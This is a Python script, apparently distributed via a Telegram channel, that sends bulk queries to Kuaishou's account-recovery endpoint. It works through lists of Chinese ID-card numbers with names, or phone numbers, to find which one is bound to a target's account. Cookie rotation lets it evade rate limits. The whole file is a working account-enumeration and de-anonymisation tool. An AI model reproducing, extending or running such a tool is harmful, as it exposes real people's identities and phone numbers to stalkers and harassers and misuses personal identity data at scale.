import requests
import json
import time
import os
from datetime import datetime
COOKIE_FILE = "cookies.txt" #放ck,越多速度可以调越快
DATA_FILE = "data.txt" #放身份证和名字
PHONE_FILE = "phones.txt" #放手机号
REQUEST_INTERVAL = 1.5 #速度单位秒
MAX_RETRY = 3 #重试次数
RATE_LIMIT_WAIT = 1 #频率限制等待时间
class CookieManager:
def __init__(self):
self.cookies = []
self.failed_cookies = set()
self.last_used_time = {}
self.current_round_order = []
self.current_index = 0
try:
self.load_cookies()
except Exception as e:
print(f"⚠️ 初始化警告: {str(e)}")
if not self.cookies:
self.add_new_cookie(first_time=True)
def load_cookies(self):
try:
with open(COOKIE_FILE, "r", encoding="utf-8") as f:
self.cookies = [line.strip() for line in f if line.strip()]
if not self.cookies:
print("⚠️ Cookie文件为空")
else:
print(f"✅ 已加载 {len(self.cookies)} 个有效Cookie")
except FileNotFoundError:
print("⚠️ Cookie文件不存在,将创建新文件")
open(COOKIE_FILE, 'w').close()
def get_cookie(self):
valid_cookies = [c for c in self.cookies if c not in self.failed_cookies]
while not valid_cookies:
print("⚠️ 无可用Cookie,请添加新Cookie")
if self.add_new_cookie():
valid_cookies = [c for c in self.cookies if c not in self.failed_cookies]
else:
raise Exception("用户取消输入,终止操作")
current_valid_set = set(valid_cookies)
current_round_set = set(self.current_round_order)
if (
not self.current_round_order
or current_valid_set != current_round_set
or self.current_index >= len(self.current_round_order)
):
sorted_cookies = sorted(valid_cookies, key=lambda x: self.last_used_time.get(x, 0))
self.current_round_order = sorted_cookies
self.current_index = 0
selected = self.current_round_order[self.current_index]
self.current_index += 1
self.last_used_time[selected] = time.time()
return selected
def mark_failed(self, cookie, reason=""):
self.failed_cookies.add(cookie)
print(f" 标记失效Cookie:{cookie[:15]}... 原因:{reason or '未知'}")
def add_new_cookie(self, first_time=False):
prompt = "请输入新Cookie" + ("(直接回车将退出程序)" if first_time else "(直接回车跳过)")
new_cookie = input(prompt + ":").strip()
if not new_cookie:
if first_time:
raise Exception("必须至少提供一个Cookie")
return False
if new_cookie not in self.cookies:
self.cookies.append(new_cookie)
with open(COOKIE_FILE, "a", encoding="utf-8") as f:
f.write(new_cookie + "\n")
print("✅ 新Cookie已添加")
return True
return False
def extract_user_names(data):
user_names = []
if isinstance(data, dict):
for key, value in data.items():
if key == "userName":
try:
# 尝试UTF-8编码
user_name = str(value).encode('utf-8').decode('utf-8')
except UnicodeError:
# 如果编码失败,替换非UTF-8字符为*
user_name = ''.join(c if ord(c) < 128 else '*' for c in str(value))
user_names.append(user_name)
elif isinstance(value, (dict, list)):
user_names.extend(extract_user_names(value))
elif isinstance(data, list):
for item in data:
user_names.extend(extract_user_names(item))
return user_names
def handle_rate_limit(cookie_manager, current_cookie):
print(f"× 触发频率限制,等待 {RATE_LIMIT_WAIT} 秒...")
time.sleep(RATE_LIMIT_WAIT)
cookie_manager.mark_failed(current_cookie, "频率限制")
return cookie_manager.get_cookie()
def make_request(url, headers, payload, cookie_manager):
for attempt in range(MAX_RETRY):
try:
current_cookie = cookie_manager.get_cookie()
headers['Cookie'] = current_cookie
response = requests.post(
url,
headers=headers,
json=payload,
timeout=15
)
if "操作太快了" in response.text:
current_cookie = handle_rate_limit(cookie_manager, current_cookie)
continue
response.raise_for_status()
return response, None
except requests.exceptions.HTTPError as e:
if e.response.status_code in (401, 403):
cookie_manager.mark_failed(current_cookie, f"HTTP {e.response.status_code}")
if cookie_manager.add_new_cookie():
continue
return None, f"HTTP错误: {str(e)}"
except Exception as e:
return None, f"请求失败: {str(e)}"
finally:
time.sleep(REQUEST_INTERVAL)
return None, "超过最大重试次数"
def query_associated_account(account, cookie_manager):
url = "https://app.m.kuaishou.com/rest/wd/account/appeal/v2/find"
headers = {
'User-Agent': "Mozilla/5.0 (Linux; Android 13; V2312A Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/121.0.6167.212 KsWebView/1.8.121.802 (rel;r) Mobile Safari/537.36 Yoda/3.2.14-rc3 Kwai/13.3.40.41578 OS_PRO_BIT/64 MAX_PHY_MEM/7367 KDT/PHONE AZPREFIX/az4 ICFO/0 StatusHT/31 TitleHT/43 NetType/NR ISLP/0 ISDM/1 ISLB/1 locale/zh-cn DPS/10.212 DPP/68 SHP/2298 SWP/1080 SD/2.7 CT/0 ISLM/1",
'Content-Type': 'application/json'
}
payload = {"account": account, "findType": 3}
response, error = make_request(url, headers, payload, cookie_manager)
if error:
return [], error
try:
json_data = response.json()
if json_data.get("error_msg") == "当前输入信息未关联到任何账号,请检查后重试!":
return [], "账号未关联"
if json_data.get("error_msg"):
return [], json_data["error_msg"]
return list(set(extract_user_names(json_data))), None
except json.JSONDecodeError:
return [], "响应解析失败"
def verify_id_card(id_card_number, id_card_name, cookie_manager, target_users):
url = "https://app.m.kuaishou.com/rest/wd/account/appeal/v2/find"
headers = {
"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Kwai/13.1.10.9110 ISLP/0 StatusHT/59 KDT/PHONE iosSCH/0 TitleHT/44 NetType/WIFI ISDM/0 ICFO/0 locale/zh-Hans CT/0 Yoda/3.0.7 ISLB/0 CoIS/2 ISLM/0 WebViewType/WK BHT/102 AZPREFIX/az3",
"Content-Type": "application/json"
}
payload = {
"idCardNumber": id_card_number,
"idCardName": id_card_name,
"findType": 2
}
response, error = make_request(url, headers, payload, cookie_manager)
if error:
return {"status": "error", "error": error}
try:
json_data = response.json()
found_users = list(set(extract_user_names(json_data)))
user_status = []
for user in found_users:
if user in target_users:
user_status.append(f"{user}✅✅✅")
else:
user_status.append(f"{user}❌❌❌")
return {
"status": "success",
"user_status": user_status,
"http_status": response.status_code
}
except Exception as e:
return {"status": "error", "error": str(e)}
def verify_phone(phone_number, cookie_manager, target_users):
url = "https://app.m.kuaishou.com/rest/wd/account/appeal/v2/find"
headers = {
'User-Agent': "Mozilla/5.0 (Linux; Android 13; V2312A Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/115.0.5790.166 Mobile Safari/537.36 KSSO/Android/13.3.40.41578",
'Content-Type': 'application/json'
}
payload = {"account": phone_number, "findType": 1}
response, error = make_request(url, headers, payload, cookie_manager)
if error:
return {"status": "error", "error": error}
try:
json_data = response.json()
if json_data.get("result") == 400010:
return {"status": "error", "error": "Cookie已过期"}
found_users = list(set(extract_user_names(json_data)))
user_status = []
for user in found_users:
if user in target_users:
user_status.append(f"{user}✅✅✅")
else:
user_status.append(f"{user}❌❌❌")
return {
"status": "success",
"user_status": user_status,
"http_status": response.status_code
}
except Exception as e:
return {"status": "error", "error": str(e)}
def load_data_file(filename):
try:
with open(filename, "r", encoding="utf-8") as f:
return True, [line.strip() for line in f if line.strip()]
except FileNotFoundError:
return False, f"{filename} 文件不存在"
except Exception as e:
return False, f"文件读取失败: {str(e)}"
def get_target_users(cookie_manager):
print("\n选择用户名输入方式:")
print("1. 输入快手号自动获取关联账号")
print("2. 直接输入用户名例如“不知名的情”")
choice = input("请输入选项 (1/2): ").strip()
target_users = []
if choice == '1':
account = input("请输入快手号:").strip()
users, error = query_associated_account(account, cookie_manager)
if error:
print(f"❌ 查询失败: {error}")
return None
target_users = users
print("\n找到关联账号:" + ",".join(users).encode('utf-8', 'ignore').decode() if users else "未找到关联账号")
elif choice == '2':
users = input("请输入用户名(多个用逗号分隔): ").strip().split(',')
target_users = [u.strip() for u in users if u.strip()]
else:
print("❌ 无效选项")
return None
if not target_users:
print("❌ 未获取到有效目标用户")
return None
return target_users
# In the process_id_verification function, modify the loop section:
def process_id_verification(cookie_manager):
print("\n" + "="*40)
print("开始身份证核验流程...")
target_users = get_target_users(cookie_manager)
if not target_users:
return
status, id_data = load_data_file(DATA_FILE)
if not status:
print(f"❌ {id_data}")
return
successful_matches = []
total_items = len(id_data)
completed = 0
for line in id_data:
if not line.strip():
continue
parts = line.split(maxsplit=1)
if len(parts) != 2:
print(f"无效数据格式:{line}")
completed += 1
continue
name, id_card = parts[0], parts[1]
result = verify_id_card(id_card, name, cookie_manager, target_users)
base_output = f"{name}-{id_card}-"
if result["status"] != "success":
error = result.get("error", "未知错误").split(":")[-1].strip()
print(f"{base_output}{error}❌❌❌ (已完成 {completed+1}/{total_items}/{total_items-completed-1})")
completed += 1
continue
if result.get("user_status"):
users_str = ",".join(result["user_status"])
final_output = f"{base_output}{users_str}"
print(f"{final_output} (已完成 {completed+1}/{total_items}/{total_items-completed-1})")
if any("✅" in s for s in result["user_status"]):
successful_matches.append(final_output)
else:
print(f"{base_output}无关联账号❌❌❌ (已完成 {completed+1}/{total_items}/{total_items-completed-1})")
completed += 1
print("\n" + "="*40)
print("身份证核验结果(仅显示匹配项):")
if successful_matches:
for match in successful_matches:
print(match.replace("✅", "\033[32m✅\033[0m").replace("❌", "\033[31m❌\033[0m"))
else:
print("无成功匹配记录")
# Similarly, modify the process_phone_verification function:
def process_phone_verification(cookie_manager):
print("\n" + "="*40)
print("开始手机号绑定查询...")
target_users = get_target_users(cookie_manager)
if not target_users:
return
status, phones = load_data_file(PHONE_FILE)
if not status:
print(f"❌ {phones}")
return
successful_matches = []
total_items = len(phones)
completed = 0
for phone in phones:
result = verify_phone(phone, cookie_manager, target_users)
base_output = f"{phone}-"
if result["status"] != "success":
error = result.get("error", "未知错误").split(":")[-1].strip()
print(f"{base_output}{error}❌❌❌ (已完成 {completed+1}/{total_items}/{total_items-completed-1})")
completed += 1
continue
if result.get("user_status"):
users_str = ",".join(result["user_status"])
final_output = f"{base_output}{users_str}"
print(f"{final_output} (已完成 {completed+1}/{total_items}/{total_items-completed-1})")
if any("✅" in s for s in result["user_status"]):
successful_matches.append(final_output)
else:
print(f"{base_output}无关联账号❌❌❌ (已完成 {completed+1}/{total_items}/{total_items-completed-1})")
completed += 1
print("\n" + "="*40)
print("手机号绑定结果(仅显示匹配项):")
if successful_matches:
for match in successful_matches:
print(match.replace("✅", "\033[32m✅\033[0m").replace("❌", "\033[31m❌\033[0m"))
else:
print("无成功匹配记录")
def main():
print("="*40)
print("快手账号关联查询系统 v4.6")
print("风月制作@fengyuettkx")
print("频道https://t.me/fengyuexiaowo")
try:
cm = CookieManager()
except Exception as e:
print(f"❌ 初始化失败: {str(e)}")
if "必须至少提供一个Cookie" in str(e):
print("请创建cookies.txt文件或运行程序时添加Cookie")
return
print("\n请选择功能:")
print("1. 身份证实名账号查询")
print("2. 手机号绑定查询")
choice = input("请输入选项 (1/2): ").strip()
if choice == '1':
process_id_verification(cm)
elif choice == '2':
process_phone_verification(cm)
else:
print("❌ 无效选项")
if __name__ == "__main__":
main()把访问文件目录放在/storage/emulated/0/
最新发布